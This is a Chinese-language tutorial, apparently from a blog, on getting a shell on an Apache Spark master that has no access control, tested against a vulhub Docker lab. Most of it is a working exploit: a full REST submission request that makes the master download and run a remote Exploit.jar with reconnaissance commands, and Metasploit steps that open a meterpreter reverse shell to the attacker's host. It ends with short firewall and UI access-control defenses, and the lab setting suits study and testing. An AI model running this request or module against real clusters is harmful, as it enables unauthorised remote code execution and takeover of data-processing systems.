Spark未授权访问getshell
一、介绍 apache顶级项目,大规模数据处理计算引擎。为了方便的给使用者控制系统进行计算和查看任务结果,提供了WebUI图形化界面和相应的REST API方便用户操作。支持用户向管理节点提交应用,并分发给集群使用,如果管理节点未启用ACL(访问控制),我们便可在集群中执行任意代码。二、环境搭建受害者IP:192.168.226.140(vulhub漏洞靶场、docker)》》standalon
一、介绍
apache顶级项目,大规模数据处理计算引擎。为了方便的给使用者控制系统进行计算和查看任务结果,提供了WebUI图形化界面和相应的REST API方便用户操作。支持用户向管理节点提交应用,并分发给集群使用,如果管理节点未启用ACL(访问控制),我们便可在集群中执行任意代码。
二、环境搭建
- 受害者IP:192.168.226.140(vulhub漏洞靶场、docker)
》》standalone模式启动一个Apache Spark集群
》》查看启动的端口服务
》》浏览器访问即可看到master管理页面:
三、攻击方法
3.1 信息收集
》》nmap扫描对方端口服务信息,如有以下端口开放可能存在漏洞
》》访问web,查看其版本(v2.3.1)
3.2 利用方法(方法一)
使用REST API方式提交应用(standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API恶意代码)
- github地址:https://github.com/aRe00t/rce-over-spark
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}
Tips:
目标:Host: your-ip:6066
版本:“clientSparkVersion”: “2.3.1”
执行的命令: “appArgs”: [" "]
》》构造好请求包使用发包工具发包即可
》》返回包中会返回submissionid
》》访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果
3.2 利用方法(方法二)
使用Metasploit的exploit模块
- kali:192.168.226.134
msf5> use exploit/linux/http/spark_unauth_rce
msf5> set payload java/meterpreter/reverse_tcp
msf5> set rhost 192.168.226.140
msf5> set rport 6066
msf5> set lhost 192.168.226.134
msf5> set lport 4444
msf5> set srvhost 192.168.226.134
msf5> set srvport 8080
msf5> exploit
(成功获得shell,查看对方IP信息)
》》可以在web端查看启动的作业
四、防御方法
- 限制网络访问(配置防火墙策略,禁止将端口映射到互联网,限制于内网内)
- 启用UI访问控制(通过spark.ui.filters设置启用javax servlet filters,通过 SSL 设置启用 HTTPS/SSL,保障 Spark UI 安全)
更多推荐
所有评论(0)